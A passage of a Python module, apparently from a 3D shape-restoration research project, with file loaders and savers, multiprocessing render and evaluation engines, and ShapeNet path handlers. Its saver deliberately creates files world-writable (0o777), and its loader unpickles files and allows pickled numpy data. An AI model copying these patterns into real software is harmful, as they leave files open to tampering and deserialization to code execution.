pass\n\nimport core\nimport core.workspace as ws\nimport core.errors as errors\n\n\n# This prevents torch file errors when handling thousands of files.\ntorch.multiprocessing.set_sharing_strategy(\"file_system\")\n\n\ndef path_exists(p, p_list=None):\n if (p_list is not None) and (p in p_list):\n return True\n return os.path.exists(p)\n\n\ndef loader(f_in):\n \"\"\"Multipurpose loader used for all file types\"\"\"\n extension = os.path.splitext(f_in)[-1]\n logging.debug(\"Attempting to load file {}\".format(f_in))\n\n try:\n if extension == \".pkl\":\n with open(f_in, \"rb\") as f:\n try:\n return pickle.load(f)\n except ValueError:\n return pickle5.load(f)\n elif extension == \".json\":\n return json.load(open(f_in, \"r\"))\n elif extension == \".obj\":\n return trimesh.load(f_in, force=True)\n elif extension == \".ply\":\n return trimesh.load(f_in, force=True)\n elif extension == \".npz\":\n return dict(np.load(f_in, allow_pickle=True))\n elif extension == \".npy\":\n return np.load(f_in, allow_pickle=True)\n elif extension == \".png\":\n return np.array(Image.open(f_in))\n elif extension == \".jpg\":\n return np.array(Image.open(f_in))\n elif extension == \".gif\":\n return core.load_gif(f_in)\n elif extension == \".pth\":\n try:\n return torch.load(f_in, map_location=torch.device(\"cpu\"))\n except EOFError as e:\n # raise e\n os.remove(f_in)\n print(\"Removed: \", f_in)\n else:\n raise RuntimeError(\"Loader: Unhandled file type: {}\".format(f_in))\n except PermissionError:\n input(\n \"Permission error with file, press enter to continue once fixed: {}\".format(\n f_in\n )\n )\n return loader(f_in)\n\n\ndef saver(f_out, data, all_access=True, **kwargs):\n \"\"\"Multipurpose saver used for all file types\"\"\"\n logging.debug(\"Saving file {}\".format(f_out))\n extension = os.path.splitext(f_out)[-1]\n if all_access:\n os.open(\n f_out, os.O_CREAT | os.O_WRONLY, 0o777\n ) # Create the file WITH THE MOST GENERAL PERMISSIONS\n\n try:\n if extension == \".pkl\":\n pickle.dump(\n data,\n open(f_out, \"wb\"),\n pickle.HIGHEST_PROTOCOL,\n )\n elif extension == \".obj\":\n data.export(f_out)\n elif extension == \".json\":\n return json.dump(data, open(f_out, \"w\"))\n elif extension == \".ply\":\n data.export(f_out)\n elif extension == \".npz\":\n np.savez(f_out, data)\n elif extension == \".npy\":\n np.save(f_out, data)\n elif extension == \".png\":\n Image.fromarray(data).save(f_out)\n elif extension == \".jpg\":\n Image.fromarray(data).save(f_out)\n elif extension == \".gif\":\n core.utils_3d.save_gif(f_out, data, **kwargs)\n elif extension == \".pth\":\n torch.save(data, f_out)\n else:\n raise RuntimeError(\"Saver: Unhandled file type: {}\".format(f_out))\n except PermissionError:\n input(\n \"Permission error with file, press enter to continue once fixed: {}\".format(\n f_out\n )\n )\n return saver(f_out, data, all_access)\n\n\ndef execute_and_save(\n path,\n fn,\n overwrite,\n **kwargs,\n):\n \"\"\"executes a function and then saves the result\"\"\"\n # logging.debug(\"running {} with {}\".format(path, fn))\n val = None\n try:\n if overwrite or not os.path.exists(path) or core.utils.file_is_old(path):\n val = fn(**kwargs)\n saver(path, val)\n except (errors.MeshEmptyError, errors.MeshContainsError):\n logging.error(\"Mesh empty error {} with save path: {}\".format(str(fn), path))\n except (PermissionError):\n input(\n \"Permission error with file, press enter to continue once fixed: {}\".format(\n path\n )\n )\n execute_and_save(path, fn, overwrite, **kwargs)\n except (ValueError, IndexError, TypeError, FileExistsError, AttributeError) as e:\n logging.debug(traceback.format_exc())\n # raise e\n logging.error(\n \"Problem running: {}[{}] with save path: {}\".format(str(fn), e, path)\n )\n return val\n\n\ndef render_engine(\n reconstruct_list,\n outputs,\n threads,\n reconstruction_handler,\n overwrite=False,\n num_renders=3,\n resolution=(200, 200),\n composite=False, # Reconstruction shape, gt shape\n data_handler=None,\n render_gt=False,\n angle_list=None,\n zoom=2.0,\n dynamic_path_check=False,\n transparent_composite=False,\n):\n \"\"\"the handlers are great, but they can't be easily combined with multiprocessing\"\"\"\n\n if composite:\n assert data_handler is not None\n if not isinstance(composite, list):\n composite = [composite]\n\n # Compile a list of all the shape indices\n all_shapes = list(outputs)\n if composite:\n for c in composite:\n all_shapes.extend(list(c))\n all_shapes = sorted(list(set(all_shapes)))\n\n # Build the angle list\n if angle_list is None:\n angle_list = range(0, 360, int(360 / num_renders))\n\n p_list = None\n if not dynamic_path_check:\n root_dir = reconstruction_handler.dir_renders(create=True)\n p_list = set([os.path.join(root_dir, f) for f in os.listdir(root_dir)])\n\n futures_list = []\n args_list = []\n start = time.time()\n logging.info(\"Spawning {} threads\".format(threads))\n logging.info(\"Loading files ...\")\n\n with multiprocessing.Pool(threads) as pool:\n for idx in tqdm.tqdm(reconstruct_list):\n for shape_idx in all_shapes:\n\n for angle in angle_list:\n\n # Build a composite\n if composite and (reconstruction_handler is not None):\n for (gt_compi, pd_compi) in composite:\n if shape_idx == pd_compi:\n path = reconstruction_handler.path_composite(\n idx,\n shape_idx,\n gt_compi,\n angle,\n resolution,\n create=True,\n )\n if not path_exists(path, p_list) or overwrite:\n reconstruction_handler.delete_from_cache(path)\n\n # Load the predicted mesh\n try:\n mesh = reconstruction_handler.get_mesh(\n idx, shape_idx\n )\n mesh = mesh.copy()\n # if shape_idx == 3:\n # mesh.invert()\n except errors.IsosurfaceExtractionError:\n continue\n\n # Load the gt mesh\n gt_b_mesh = data_handler.get_mesh(idx, 1)\n gt_b_mesh = gt_b_mesh.copy()\n\n # Update the colors\n core.utils_3d.colorize_mesh_from_index_auto(\n mesh, shape_idx\n )\n core.utils_3d.colorize_mesh_from_index_auto(\n gt_b_mesh, 1, transparent=transparent_composite\n )\n\n # Set the thread working\n futures_list.append(\n pool.apply_async(\n execute_and_save,\n tuple(\n (\n path,\n core.utils_3d.render_mesh,\n overwrite,\n )\n ), # args\n dict(\n mesh=[gt_b_mesh, mesh],\n yrot=angle,\n resolution=resolution,\n ztrans=zoom,\n ), # kwargs\n )\n )\n\n # Save the arguments so that we can set the render later\n args_list.append(\n tuple((idx, shape_idx, angle, resolution))\n )\n\n # Render gt composite with itself\n if render_gt and (shape_idx == 2):\n # Get gt path\n obj_idx, break_idx = data_handler._indexer[idx]\n obj = data_handler.objects[obj_idx]\n path = obj.path_composite(\n idx=break_idx,\n angle=angle,\n resolution=resolution,\n )\n\n if not path_exists(path, p_list) or overwrite:\n gt_r_mesh = data_handler.get_mesh(\n idx, shape_idx\n )\n gt_r_mesh = gt_r_mesh.copy()\n\n gt_b_mesh = data_handler.get_mesh(idx, 1)\n gt_b_mesh = gt_b_mesh.copy()\n\n # Update the colors\n core.utils_3d.colorize_mesh_from_index_auto(\n gt_r_mesh, shape_idx\n )\n core.utils_3d.colorize_mesh_from_index_auto(\n gt_b_mesh,\n 1,\n transparent=transparent_composite,\n )\n\n # Set the thread working\n futures_list.append(\n pool.apply_async(\n execute_and_save,\n tuple(\n (\n path,\n core.utils_3d.render_mesh,\n overwrite,\n )\n ), # args\n dict(\n mesh=[gt_b_mesh, gt_r_mesh],\n yrot=angle,\n resolution=resolution,\n ztrans=zoom,\n ), # kwargs\n )\n )\n\n # Render the mesh, plan and simple\n if shape_idx in outputs:\n\n # Render gt\n if render_gt:\n if shape_idx in [0, 1, 2] and data_handler is not None:\n # Get gt path\n obj_idx, break_idx = data_handler._indexer[idx]\n obj = data_handler._objects[obj_idx]\n if shape_idx == 0:\n path = obj.path_c_rendered(\n angle=angle, resolution=resolution\n )\n elif shape_idx == 1:\n path = obj.path_b_rendered(\n idx=break_idx,\n angle=angle,\n resolution=resolution,\n )\n elif shape_idx == 2:\n path = obj.path_r_rendered(\n idx=break_idx,\n angle=angle,\n resolution=resolution,\n )\n\n if not path_exists(path, p_list) or overwrite:\n mesh = data_handler.get_mesh(idx, shape_idx)\n mesh = mesh.copy()\n\n # Update the colors\n core.utils_3d.colorize_mesh_from_index_auto(\n mesh, shape_idx\n )\n\n # Set the thread working\n futures_list.append(\n pool.apply_async(\n execute_and_save,\n tuple(\n (\n path,\n core.utils_3d.render_mesh,\n overwrite,\n )\n ), # args\n dict(\n mesh=mesh,\n yrot=angle,\n resolution=resolution,\n ztrans=zoom,\n ), # kwargs\n )\n )\n\n # Save the arguments so that we can set the render later\n args_list.append(\n tuple((idx, shape_idx, angle, resolution))\n )\n\n if reconstruction_handler is not None:\n\n path = reconstruction_handler.path_render(\n idx, shape_idx, angle, resolution, create=True\n )\n if not path_exists(path, p_list) or overwrite:\n reconstruction_handler.delete_from_cache(path)\n try:\n mesh = reconstruction_handler.get_mesh(\n idx, shape_idx\n )\n mesh = mesh.copy()\n except errors.IsosurfaceExtractionError:\n continue\n\n # Update the colors\n core.utils_3d.colorize_mesh_from_index_auto(\n mesh, shape_idx\n )\n\n # Set the thread working\n futures_list.append(\n pool.apply_async(\n execute_and_save,\n tuple(\n (\n path,\n core.utils_3d.render_mesh,\n overwrite,\n )\n ), # args\n dict(\n mesh=mesh,\n yrot=angle,\n resolution=resolution,\n ztrans=zoom,\n ), # kwargs\n )\n )\n\n # Save the arguments so that we can set the render later\n args_list.append(\n tuple((idx, shape_idx, angle, resolution))\n )\n\n logging.info(\"File loading took {}s\".format(time.time() - start))\n\n start = time.time()\n # Wait on threads and display a progress bar\n logging.info(\"Queued {} jobs\".format(len(futures_list)))\n for f, args in tqdm.tqdm(zip(futures_list, args_list)):\n val = f.get()\n # reconstruction_handler.set_render(f.get(), *args) # Set the render\n logging.info(\"Collection took {}s\".format(time.time() - start))\n\n\ndef eval_engine(\n reconstruct_list,\n output_pairs,\n threads,\n metric,\n reconstruction_handler,\n data_handler,\n overwrite=False,\n dynamic_path_check=False,\n):\n \"\"\"the handlers are great, but they can't be easily combined with multiprocessing\"\"\"\n\n if metric == \"chamfer\":\n fn = core.metrics.chamfer\n elif metric == \"connected_artifacts_score2\": # NFRE in the paper\n fn = core.metrics.connected_artifacts_score2\n elif metric == \"normal_consistency\":\n fn = core.metrics.normal_consistency\n elif metric == \"connected_protrusion_error\": # CAE in the paper\n fn = core.metrics.connected_protrusion_error\n else:\n raise RuntimeError(\"Unknown metric: {}\".format(metric))\n\n p_list = None\n if not dynamic_path_check:\n root_dir = reconstruction_handler.dir_codes(create=True)\n p_list = set([os.path.join(root_dir, f) for f in os.listdir(root_dir)])\n\n futures_list = []\n args_list = []\n start = time.time()\n logging.info(\"Spawning {} threads ...\".format(threads))\n with multiprocessing.Pool(threads) as pool:\n for idx in tqdm.tqdm(reconstruct_list):\n\n for (gt_idx, pd_idx) in output_pairs:\n\n path = reconstruction_handler.path_eval(\n idx, pd_idx, gt_idx, metric, create=True\n )\n\n # Restoration-only metrics\n if (\n metric\n in [\n \"connected_artifacts_score2\",\n \"connected_protrusion_error\",\n ]\n and pd_idx < 2\n ):\n continue\n\n if not overwrite and path_exists(path, p_list):\n continue\n\n reconstruction_handler.delete_from_cache(path)\n\n # Load pred mesh\n try:\n pred_mesh = reconstruction_handler.get_mesh(idx, pd_idx)\n except errors.IsosurfaceExtractionError:\n continue\n\n if metric in [\"connected_artifacts_score2\"]:\n\n # Only valid for restoration meshes\n if pd_idx >= 2:\n try:\n gt_complete = data_handler.get_mesh(idx, 0)\n gt_broken = data_handler.get_mesh(idx, 1)\n gt_restoration = data_handler.get_mesh(idx, 2)\n except FileNotFoundError:\n continue\n\n kwargs = dict(\n gt_complete=gt_complete,\n gt_broken=gt_broken,\n gt_restoration=gt_restoration,\n pd_restoration=pred_mesh,\n )\n else:\n continue\n\n else:\n # Load gt mesh\n try:\n gt_mesh = data_handler.get_mesh(\n idx,\n gt_idx,\n )\n except FileNotFoundError:\n continue\n\n kwargs = dict(\n gt_shape=gt_mesh,\n pred_shape=pred_mesh,\n )\n\n futures_list.append(\n pool.apply_async(\n execute_and_save,\n tuple(\n (\n path,\n fn,\n overwrite,\n )\n ), # args\n kwargs, # kwargs\n )\n )\n\n # Save the arguments so that we can set the eval later\n args_list.append(tuple((idx, pd_idx, gt_idx, metric)))\n\n logging.info(\"File loading took {}s\".format(time.time() - start))\n\n start = time.time()\n # Wait on threads and display a progress bar\n logging.info(\"Queued {} jobs\".format(len(futures_list)))\n for f, args in tqdm.tqdm(zip(futures_list, args_list)):\n val = f.get()\n # reconstruction_handler.set_eval(val, *args) # Set the eval\n logging.info(\"Collection took {}s\".format(time.time() - start))\n\n\ndef load_knittable(path):\n d = json.load(open(path, \"r\"))\n if \"experiment_directory\" not in d:\n d[\"experiment_directory\"] = os.path.dirname(os.path.dirname(path))\n return ReconstructionHandler(**d)\n\n\ndef load_handler(path):\n with open(path, \"rb\") as f:\n h = pickle.load(f)\n h._loaded_from = os.sep + os.path.join(*os.path.normpath(path).split(os.sep)[:-4])\n return h\n\n\ndef quick_load_handler(path, json=True):\n # If it was passed a dir, then find the pkl\n if os.path.isdir(path):\n # Load from json\n if json:\n loadable_files = [f for f in os.listdir(path) if \".json\" in f]\n assert (\n len(loadable_files) <= 1\n ), \"Found more than one json file in knit directory {}\".format(path)\n if len(loadable_files) == 1:\n logging.info(\"Loaded from json\")\n return core.handler.load_knittable(\n os.path.join(path, loadable_files[0])\n )\n\n # Load from pkl\n loadable_files = [f for f in os.listdir(path) if \".pkl\" in f]\n assert (\n len(loadable_files) <= 1\n ), \"Found more than one pkl file in knit directory {}\".format(path)\n if len(loadable_files) == 1:\n logging.info(\"Loaded from pkl\")\n return core.handler.load_handler(os.path.join(path, loadable_files[0]))\n raise RuntimeError(\n \"Couldn't find any loadable files in knit directory {}\".format(path)\n )\n else:\n if os.path.splitext(path)[-1] == \".json\":\n logging.info(\"Loaded from pkl\")\n return core.handler.load_knittable(path)\n\n logging.info(\"Loaded from pkl\")\n return core.handler.load_handler(path)\n\n\ndef iterify_path(path, i):\n p, e = os.path.splitext(path)\n return p + \"__iter-\" + str(i) + e\n\n\ndef lossify_log_path(path):\n p, e = os.path.splitext(path)\n return p + \"__loss\" + e\n\n\nclass ReconstructionHandler:\n def __init__(\n self,\n experiment_directory,\n signiture,\n name,\n checkpoint,\n lat_signiture=None,\n use_occ=False,\n decoder=None,\n dims=(256, 256, 256),\n overwrite=False,\n ):\n \"\"\"\n Handles saving and loading reconstructed objects in a fast way for\n evaluation.\n\n Args:\n handler: ModelHandler, used to get filepaths.\n signiture: List of identifying info that will differentiate this\n run from others (lr, num epochs, etc.)\n decoder: Autodecoder, will be used to reconstruct a mesh if\n necessary.\n dims: List of dimensions, will be used to reconstruct a mesh if\n necessary.\n \"\"\"\n assert os.path.exists(experiment_directory), \"{}\".format(experiment_directory)\n\n self._lat_signiture = lat_signiture\n if self._lat_signiture is None:\n self._lat_signiture = signiture\n self._knittable = {\n \"experiment_directory\": experiment_directory,\n \"signiture\": signiture,\n \"lat_signiture\": lat_signiture,\n \"name\": name,\n \"checkpoint\": checkpoint,\n \"use_occ\": use_occ,\n \"decoder\": decoder,\n \"dims\": dims,\n \"overwrite\": overwrite,\n }\n self._experiment_directory = os.path.abspath(experiment_directory)\n self._signiture = \"\".join([str(s) + \"_\" for s in signiture])\n self._lat_signiture = \"\".join([str(s) + \"_\" for s in self._lat_signiture])\n self._decoder = decoder\n self._dims = dims\n self._name = name\n self._checkpoint = checkpoint\n self._overwrite = overwrite\n self._cache = {}\n self._use_occ = use_occ\n self._loaded_from = self._experiment_directory\n if self._use_occ:\n self._level = 0.5\n else:\n self._level = 0.0\n\n @property\n def overwrite(self):\n return self._overwrite\n\n @property\n def signiture(self):\n return self._signiture\n\n @property\n def experiment_name(self):\n return self._experiment_directory.split(\"/\")[-1]\n\n @property\n def root(self):\n return self._loaded_from\n\n @property\n def name(self):\n return self._name\n\n def save(self):\n del self._decoder\n path = self.path_loadable(create=True)\n pickle.dump(\n self,\n open(path, \"wb\"),\n pickle.HIGHEST_PROTOCOL,\n )\n\n def save_knittable(self):\n \"\"\"\n When called, this creates a list of arguments that can be used to regenerate\n this reconstruction handler, similar to __repr__, and saves it to a specific file.\n Use this path to rebuild the reconstruction handler for knitting renders.\n\n e.g.\n path = old_handler.save_knittable()\n new_handler = core.handler.load_knittable(path)\n \"\"\"\n\n path = self.path_knittable(create=True)\n json.dump(self._knittable, open(path, \"w\"), indent=2)\n return path\n\n def set_decoder(self, decoder):\n self._decoder = decoder\n\n def path_reconstruction(self, create=False):\n return ws.get_reconstructions_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n )\n\n def path_metrics(self, metrics_file, create=False):\n return os.path.join(\n ws.get_reconstructions_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n metrics_file,\n )\n\n def path_stats(self, create=False):\n return ws.get_reconstructions_stats_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n )\n\n def path_knittable(self, create=False):\n return os.path.join(\n ws.get_reconstructions_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n \"knittable_\" + self._signiture + \".json\",\n )\n\n def path_loadable(self, create=False):\n return os.path.join(\n ws.get_reconstructions_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n \"handler_\" + self._signiture + \".pkl\",\n )\n\n def path_summary_render(self, create=False):\n return os.path.join(\n ws.get_reconstructions_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n \"summary_\" + self._signiture + \".png\",\n )\n\n def path_code(self, idx, create=False):\n return os.path.join(\n ws.get_reconstructions_codes_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n str(idx) + \"_\" + self._lat_signiture + \".pth\",\n )\n\n def dir_codes(self, create=False):\n return ws.get_reconstructions_codes_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n )\n\n def path_loss(self, idx, create=False):\n return lossify_log_path(self.path_code(idx, create))\n\n def path_mesh(self, idx, shape_idx, create=False):\n return os.path.join(\n ws.get_reconstructions_meshes_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n str(idx) + \"_\" + str(shape_idx) + \"_\" + self._signiture + \".ply\",\n )\n\n def path_mesh_interp(\n self, idx_from, idx_to, step, shape_idx, interp_type, create=False\n ):\n return os.path.join(\n ws.get_reconstructions_meshes_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n \"interp\"\n + str(idx_from)\n + \"_\"\n + str(idx_to)\n + \"_\"\n + str(step)\n + \"_\"\n + str(shape_idx)\n + \"_\"\n + str(interp_type)\n + \"_\"\n + self._signiture\n + \".ply\",\n )\n\n def path_values(self, idx, shape_idx, create=False):\n return os.path.join(\n ws.get_reconstructions_meshes_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n str(idx)\n + \"_\"\n + str(shape_idx)\n + \"_\"\n + self._signiture\n + \"_values\"\n + \".npy\",\n )\n\n def path_render(self, idx, shape_idx, angle, resolution=(200, 200), create=False):\n # Backwards compatability\n if tuple(resolution) == (200, 200):\n return os.path.join(\n ws.get_reconstructions_renders_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n str(idx)\n + \"_\"\n + str(shape_idx)\n + \"_\"\n + str(angle)\n + \"_\"\n + self._signiture\n + \".png\",\n )\n return os.path.join(\n ws.get_reconstructions_renders_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n str(idx)\n + \"_\"\n + str(shape_idx)\n + \"_\"\n + str(angle)\n + \"_\"\n + str(resolution[0])\n + \"_\"\n + str(resolution[1])\n + \"_\"\n + self._signiture\n + \".png\",\n )\n\n def dir_renders(self, create=False):\n return ws.get_reconstructions_renders_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n )\n\n def path_composite(\n self, idx, shape_idx, gt_shape_idx, angle, resolution=(200, 200), create=False\n ):\n return os.path.join(\n ws.get_reconstructions_renders_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n str(idx)\n + \"_\"\n + str(shape_idx)\n + \"_\"\n + str(gt_shape_idx)\n + \"_\"\n + str(angle)\n + \"_\"\n + str(resolution[0])\n + \"_\"\n + str(resolution[1])\n + \"_\"\n + \"composite\"\n + \"_\"\n + self._signiture\n + \".png\",\n )\n\n def path_eval(self, idx, shape_idx, gt_shape_idx, metric, create=False):\n return os.path.join(\n ws.get_reconstructions_codes_dir(\n self._experiment_directory,\n name=self._name,\n checkpoint=self._checkpoint,\n create=create,\n ),\n str(idx)\n + \"_\"\n + str(shape_idx)\n + \"_\"\n + str(gt_shape_idx)\n + \"_\"\n + str(metric)\n + \"_\"\n + self._signiture\n + \".npy\",\n )\n\n def delete_from_cache(self, path):\n if path in self._cache:\n del self._cache[path]\n\n def load(self, f_in, skip_cache=False):\n if f_in in self._cache and not skip_cache:\n logging.debug(\"Pulling file from cache: {}\".format(f_in))\n return self._cache[f_in]\n\n data = loader(f_in)\n\n if not skip_cache:\n self._cache[f_in] = data\n return data\n\n def set_code(self, idx, code, save=False, cache=True):\n \"\"\"\n Set a code. Generating codes requires running lengthly reconstructions,\n which I don't want to offload to a handler function. Thus codes must be\n manually set by the user.\n \"\"\"\n path = self.path_code(idx, create=True)\n if save:\n saver(path, code)\n if cache:\n self._cache[path] = code\n\n def get_code(self, idx):\n \"\"\"\n Get a code. If code does not exist will throw FileNotFoundError.\n \"\"\"\n return self.load(self.path_code(idx, create=True))\n\n def set_values(self, idx, shape_idx, values, save=False, cache=True):\n \"\"\"\n Set the raw values predicted by the network.\n \"\"\"\n path = self.path_values(idx, shape_idx, create=True)\n if save:\n saver(path, values)\n if cache:\n self._cache[path] = values\n\n def get_values(self, idx, shape_idx):\n \"\"\"\n Get the raw values predicted by the network. May throw FileNotFoundError.\n \"\"\"\n return self.load(self.path_values(idx, shape_idx, create=True))\n\n def set_mesh(\n self,\n mesh,\n idx,\n shape_idx,\n save=False,\n ):\n path = self.path_mesh(idx, shape_idx, create=True)\n if save:\n saver(path, mesh)\n self._cache[path] = mesh\n\n def get_mesh(self, idx, shape_idx):\n \"\"\"\n Get a mesh. The mesh will be loaded from the cache. If it cannot be loaded\n from the cache, it will be read from disk.\n \"\"\"\n path = self.path_mesh(idx, shape_idx, create=True)\n if not self._overwrite:\n try:\n mesh = core.utils_3d.force_trimesh(self.load(path))\n if (mesh is None) or (mesh.vertices.shape[0] == 0):\n raise errors.IsosurfaceExtractionError\n return mesh\n\n # If the file doesn't exist, this will be thrown\n except ValueError:\n raise errors.IsosurfaceExtractionError\n\n # This has been happening for a few reconstructions - meshes are just crashing the viewer\n except IndexError:\n raise errors.IsosurfaceExtractionError\n\n def set_mesh_interp(\n self,\n mesh,\n idx_from,\n idx_to,\n step,\n shape_idx,\n interp_type=None,\n save=False,\n ):\n path = self.path_mesh_interp(\n idx_from, idx_to, step, shape_idx, interp_type, create=True\n )\n if save:\n saver(path, mesh)\n self._cache[path] = mesh\n\n def get_mesh_interp(\n self, idx_from, idx_to, step, shape_idx, interp_type=None, cache=True\n ):\n path = self.path_mesh_interp(\n idx_from, idx_to, step, shape_idx, interp_type, create=True\n )\n mesh = core.utils_3d.force_trimesh(self.load(path))\n if cache:\n self._cache[path] = mesh\n return mesh\n\n def set_composite(\n self,\n render,\n idx,\n shape_idx,\n gt_shape_idx,\n angle=0,\n resolution=(200, 200),\n save=False,\n ):\n path = self.path_composite(\n idx, shape_idx, gt_shape_idx, angle, resolution, create=True\n )\n if save:\n saver(path, render)\n self._cache[path] = render\n\n def get_composite(\n self,\n idx,\n shape_idx,\n gt_shape,\n gt_shape_idx,\n angle=0,\n resolution=(200, 200),\n self_color=(128, 64, 64, 255),\n gt_color=(64, 128, 64, 128),\n save=True,\n cache=True,\n ):\n path = self.path_composite(\n idx, shape_idx, gt_shape_idx, angle, resolution, create=True\n )\n if not self._overwrite:\n try:\n return self.load(path)\n except FileNotFoundError:\n pass\n\n try:\n mesh = self.get_mesh(idx, shape_idx)\n except errors.IsosurfaceExtractionError as e:\n if save:\n saver(path, core.utils_2d.space_image(list(resolution)))\n raise e\n\n # Update the colors\n mesh.visual = trimesh.visual.color.ColorVisuals(mesh, vertex_colors=self_color)\n gt_shape.visual = trimesh.visual.color.ColorVisuals(\n gt_shape, vertex_colors=gt_color\n )\n\n # Render\n render = core.utils_3d.render_mesh(\n [gt_shape, mesh],\n yrot=angle,\n resolution=resolution,\n )\n\n if save:\n saver(path, render)\n if cache:\n self._cache[path] = render\n return render\n\n def set_render(\n self,\n render,\n idx,\n shape_idx,\n angle=0,\n resolution=(200, 200),\n save=False,\n ):\n path = self.path_render(idx, shape_idx, angle, resolution, create=True)\n if save:\n saver(path, render)\n self._cache[path] = render\n\n def get_render(\n self, idx, shape_idx, angle=0, resolution=(200, 200), save=True, cache=True\n ):\n \"\"\"\n Get a render. The render will be loaded from the cache. If it cannot be\n loaded from the cache, it will be read from disk. If it cannot be read\n from disk it will be generated.\n \"\"\"\n path = self.path_render(\n idx, shape_idx, angle, resolution=resolution, create=True\n )\n if not self._overwrite:\n try:\n return self.load(path)\n except FileNotFoundError:\n pass\n\n logging.debug(\n \"Render ({}, {}, {}) with filename {} could not be found, generating\".format(\n idx,\n shape_idx,\n angle,\n path,\n )\n )\n\n try:\n mesh = self.get_mesh(idx, shape_idx)\n except errors.IsosurfaceExtractionError as e:\n if save:\n saver(path, core.utils_2d.space_image(list(resolution)))\n raise e\n\n render = core.utils_3d.render_mesh(\n mesh,\n yrot=angle,\n resolution=resolution,\n )\n if save:\n saver(path, render)\n if cache:\n self._cache[path] = render\n return render\n\n def set_eval(\n self,\n eval,\n idx,\n shape_idx,\n gt_shape_idx=None,\n metric=\"chamfer\",\n save=True,\n ):\n if gt_shape_idx is None:\n gt_shape_idx = shape_idx\n path = self.path_eval(idx, shape_idx, gt_shape_idx, metric, create=True)\n if save:\n saver(path, eval)\n self._cache[path] = eval\n\n def get_eval(\n self,\n gt_shape,\n idx,\n shape_idx,\n gt_shape_idx=None,\n metric=\"chamfer\",\n save=True,\n cache=True,\n ):\n \"\"\"\n Evaluate a reconstructed mesh given a ground truth sample.\n \"\"\"\n if gt_shape_idx is None:\n gt_shape_idx = shape_idx\n path = self.path_eval(idx, shape_idx, gt_shape_idx, metric, create=True)\n if not self._overwrite:\n try:\n dist = self.load(path)\n if np.isnan(dist):\n raise errors.IsosurfaceExtractionError\n return dist\n except FileNotFoundError:\n pass\n\n logging.debug(\n \"Eval ({}, {}) with filename {} could not be found, generating\".format(\n idx,\n shape_idx,\n path,\n )\n )\n\n try:\n pred_shape = self.get_mesh(idx, shape_idx)\n except errors.IsosurfaceExtractionError as e:\n # if save:\n # saver(path, np.nan)\n raise e\n\n if metric == \"chamfer\":\n dist = core.metrics.chamfer(gt_shape=gt_shape, pred_shape=pred_shape)\n elif metric == \"normal_consistency\":\n dist = core.metrics.normal_consistency(\n gt_shape=gt_shape, pred_shape=pred_shape\n )\n else:\n raise RuntimeError(\"Unknown metric: {}\".format(metric))\n\n if save:\n saver(path, dist)\n if cache:\n self._cache[path] = dist\n return dist\n\n\n# === for backwards compatability ===\nclass ShapeNetHandler:\n def __init__(self, root_dir, class_id, instance_id) -> None:\n self._root_dir = root_dir\n self._class_id = class_id\n self._instance_id = instance_id\n\n self._cache = {}\n\n def __repr__(self) -> str:\n return (\n self.__name__\n + \"(\"\n + self._root_dir\n + \", \"\n + self._class_id\n + \", \"\n + self._instance_id\n + \")\"\n )\n\n def __hash__(self) -> int:\n return hash(self._class_id + \"-\" + self._instance_id)\n\n @property\n def root_dir(self) -> str:\n return self._root_dir\n\n @property\n def class_id(self) -> str:\n return self._class_id\n\n @property\n def instance_id(self) -> str:\n return self._instance_id\n\n def path(self, subdir, basename) -> str:\n return os.path.join(\n self._root_dir,\n self._class_id,\n self._instance_id,\n subdir,\n basename,\n )\n\n def build_dirs(self) -> None:\n dir_path = os.path.join(\n self._root_dir, self._class_id, self._instance_id, \"renders\"\n )\n if not os.path.exists(dir_path):\n os.mkdir(dir_path)\n dir_path = os.path.join(\n self._root_dir, self._class_id, self._instance_id, \"evals\"\n )\n if not os.path.exists(dir_path):\n os.mkdir(dir_path)\n\n def load(self, f_in, skip_cache=False):\n if f_in in self._cache and not skip_cache:\n logging.debug(\"Pulling file from cache: {}\".format(f_in))\n return self._cache[f_in]\n\n data = loader(f_in)\n\n if not skip_cache:\n self._cache[f_in] = data\n return data\n\n # == model path shortcuts ==\n def path_normalized(self):\n return self.path(\"models\", \"model_normalized.obj\")\n\n def path_waterproofed(self):\n return self.path(\"models\", \"model_waterproofed.obj\")\n\n def path_sampled(self, idx=0):\n return self.path(\"models\", \"model_{}_sampled.npz\".format(idx))\n\n def path_c(self):\n return self.path(\"models\", \"model_c.obj\")\n\n def path_c_voxelized(self):\n return self.path(\"models\", \"model_c_voxelized.obj\")\n\n def path_c_sdf(self, idx=0):\n return self.path(\"models\", \"model_c_{}_sdf.npz\".format(idx))\n\n def path_c_uniform_sdf(self, idx=0):\n return self.path(\"models\", \"model_c_{}_uniform_padded_sdf.npz\".format(idx))\n\n def path_c_uniform_occ(self, idx=0):\n return self.path(\"models\", \"model_c_{}_uniform_padded_occ.npz\".format(idx))\n\n def path_c_voxel(self, size=32):\n assert size == 32\n return self.path(\n \"models\", \"model_c_{}_uniform_padded_occ_{}.npz\".format(0, size)\n )\n\n def path_c_uniform_occ_64(self, idx=0):\n return self.path(\"models\", \"model_c_{}_uniform_padded_occ_64.npz\".format(idx))\n\n def path_b(self, idx=0):\n return self.path(\"models\", \"model_b_{}.obj\".format(idx))\n\n def path_b_nofrac(self, idx=0):\n return self.path(\"models\", \"model_b_{}_nofrac.obj\".format(idx))\n\n 